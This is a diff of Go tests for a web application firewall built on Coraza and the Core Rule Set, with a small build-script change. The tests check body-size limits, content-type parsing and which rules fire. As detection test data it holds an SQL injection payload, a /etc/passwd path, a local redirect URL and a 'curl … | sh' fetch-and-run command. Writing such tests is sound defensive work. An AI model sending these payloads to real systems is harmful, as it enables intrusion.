|
||||||
}
|
|
||||||
|
|
||||||
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
off, on := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, body string }{
|
|
||||||
{formData, "q=" + url.QueryEscape(injection)},
|
|
||||||
{multipart, field("q", injection) + end},
|
|
||||||
{jsonBody, `{"q":"` + injection + `"}`},
|
|
||||||
{xmlBody, "<q>" + injection + "</q>"},
|
|
||||||
} {
|
|
||||||
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
|
|
||||||
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
pad := strings.Repeat("a", bodyLimit)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
|
||||||
{
|
|
||||||
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
|
|
||||||
"pad=" + pad + "&q=" + url.QueryEscape(injection),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
multipart, field("q", injection) + field("pad", pad) + end,
|
|
||||||
field("pad", pad) + field("q", injection) + end,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
|
||||||
tc.attackFirst[:bodyLimit+1])
|
|
||||||
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
|
|
||||||
tc.attackLast[:bodyLimit+1])
|
|
||||||
}
|
|
||||||
|
|
||||||
// To the byte: a system file's path is found when it ends at the limit,
|
|
||||||
// and not when its last letter is past it, which is still read.
|
|
||||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
|
||||||
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
|
|
||||||
|
|
||||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
|
||||||
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, head, tail string }{
|
|
||||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
|
||||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
|
||||||
} {
|
|
||||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
|
||||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
|
||||||
|
|
||||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
|
||||||
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOtherBodiesAreNotRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// Read as form data, which the Core Rule Set does with a body of a type
|
|
||||||
// it does not know, this would be an SQL injection.
|
|
||||||
body := "q=" + url.QueryEscape(injection)
|
|
||||||
|
|
||||||
for _, header := range []string{
|
|
||||||
"Content-Type: application/octet-stream",
|
|
||||||
"Content-Type: text/plain",
|
|
||||||
"Content-Type: application/x-git-receive-pack-request",
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post(header), body, waf.Result{}, "")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const gzip = "Content-Encoding: gzip"
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, body string }{
|
|
||||||
{formData, "a=1"},
|
|
||||||
{multipart, field("a", "1") + end},
|
|
||||||
{jsonBody, `{"a":1}`},
|
|
||||||
{xmlBody, "<a>1</a>"},
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
|
||||||
// Content-Encoding on it is refused all the same.
|
|
||||||
larger := strings.Repeat("a", bodyLimit+1)
|
|
||||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
|
||||||
|
|
||||||
// It is allowed on a body of any other kind, and on every body while no
|
|
||||||
// body is read.
|
|
||||||
fetch := "Content-Type: application/x-git-upload-pack-request"
|
|
||||||
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
|
|
||||||
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
local := url.QueryEscape("http://127.0.0.1:52341/")
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
body string
|
|
||||||
want waf.Result
|
|
||||||
}{
|
|
||||||
{"path=.gitignore", waf.Result{}},
|
|
||||||
{"q=.gitignore", matched(930120)},
|
|
||||||
{"redirect_uri=" + local, waf.Result{}},
|
|
||||||
{"next=" + local, matched(931100, 934110)},
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
|
|
||||||
}
|
|
||||||
|
|
||||||
body := field("path", ".gitignore") + end
|
|
||||||
wantBody(t, crs, post(multipart), body, waf.Result{}, body)
|
|
||||||
|
|
||||||
body = field("q", ".gitignore") + end
|
|
||||||
wantBody(t, crs, post(multipart), body, matched(930120), body)
|
|
||||||
|
|
||||||
// A JSON body's field is named by its path, here json.path, and is
|
|
||||||
// checked.
|
|
||||||
body = `{"path":".gitignore"}`
|
|
||||||
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// A comment that shows a shell command.
|
|
||||||
const text = "Try `curl -s https://example.org | sh` first."
|
|
||||||
|
|
||||||
comment := "content=" + url.QueryEscape(text)
|
|
||||||
wantBody(t, crs, post(formData), comment, matched(932235), comment)
|
|
||||||
|
|
||||||
// An attachment named like a log file.
|
|
||||||
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
||||||
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
|
|
||||||
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ contentType, body string }{
|
|
||||||
{"application/atom+xml", "<q>" + injection + "</q>"},
|
|
||||||
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
|
|
||||||
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
|
|
||||||
{"text/json", `{"q":"` + injection + `"}`},
|
|
||||||
} {
|
|
||||||
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
|
|
||||||
matched(942100), tc.body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// An end tag after the root element, past which Coraza reads none of
|
|
||||||
// the body, while an app may still read the attack before it.
|
|
||||||
body := "<q>" + injection + "</q></r>"
|
|
||||||
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
|
|
||||||
|
|
||||||
// The multipart bodies Coraza cannot parse fail its strict checks too:
|
|
||||||
// one whose type names its boundary twice, and one with a part header
|
|
||||||
// that has no colon, before the attack. They do so padded past the
|
|
||||||
// limit too, which cuts them in the padding.
|
|
||||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
|
||||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
|
||||||
|
|
||||||
for _, tc := range []struct{ header, head string }{
|
|
||||||
{multipart + "; boundary=c", ""},
|
|
||||||
{multipart, noColon},
|
|
||||||
} {
|
|
||||||
body = tc.head + field("q", injection) + end
|
|
||||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
|
|
||||||
|
|
||||||
body = tc.head + field("q", injection) + pad + end
|
|
||||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
|
||||||
body[:bodyLimit+1])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// The limit falls in the middle of the name of the second part's
|
|
||||||
// header, which Coraza, reading up to the limit, cannot tell from a
|
|
||||||
// header without a colon.
|
|
||||||
cut := "--b\r\nContent-Di"
|
|
||||||
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
|
|
||||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
|
||||||
|
|
||||||
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
|
|
||||||
body[:bodyLimit+1])
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
|
|
||||||
|
|
||||||
// The limit falls between the carriage return and the line feed that
|
|
||||||
// end the second part's header line, and then between those that end
|
|
||||||
// the empty line after it. Coraza, reading up to the limit, takes the
|
|
||||||
// line ending in a lone carriage return for a malformed header.
|
|
||||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
|
||||||
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
|
|
||||||
body := first + field("q", "1") + end
|
|
||||||
|
|
||||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
|
||||||
body[:bodyLimit+1])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
|
|
||||||
// system's temporary directory, for the whole test process.
|
|
||||||
func TestCorazaWritesNoFile(t *testing.T) {
|
|
||||||
// The system's temporary directory is one that does not exist, so that
|
|
||||||
// Coraza could write nothing there: built without no_fs_access, it
|
|
||||||
// refuses to load, and could not write a file of a multipart body.
|
|
||||||
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
|
|
||||||
|
|
||||||
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
||||||
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
|
|
||||||
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
|
|
||||||
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
# script/build: build bin/smallwebwaf on the host, with Go installed, for
|
# script/build: build bin/smallwebwaf on the host, with Go installed, for
|
||||||
# working on the code by hand. The version it reports comes from git, as
|
# working on the code by hand. The version it reports comes from git, as
|
||||||
# in script/docker, and the no_fs_access tag is the Dockerfile's.
|
# in script/docker.
|
||||||
set -eu
|
set -eu
|
||||||
|
|
||||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||||
@@ -11,7 +11,7 @@ main() {
|
|||||||
cd "$ROOT"
|
cd "$ROOT"
|
||||||
version="$(git describe --tags --always --dirty 2>/dev/null || true)"
|
version="$(git describe --tags --always --dirty 2>/dev/null || true)"
|
||||||
[ -n "$version" ] || version="unknown"
|
[ -n "$version" ] || version="unknown"
|
||||||
go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
|
go build -trimpath -ldflags "-X main.Version=$version" \
|
||||||
-o bin/smallwebwaf ./cmd/smallwebwaf
|
-o bin/smallwebwaf ./cmd/smallwebwaf
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user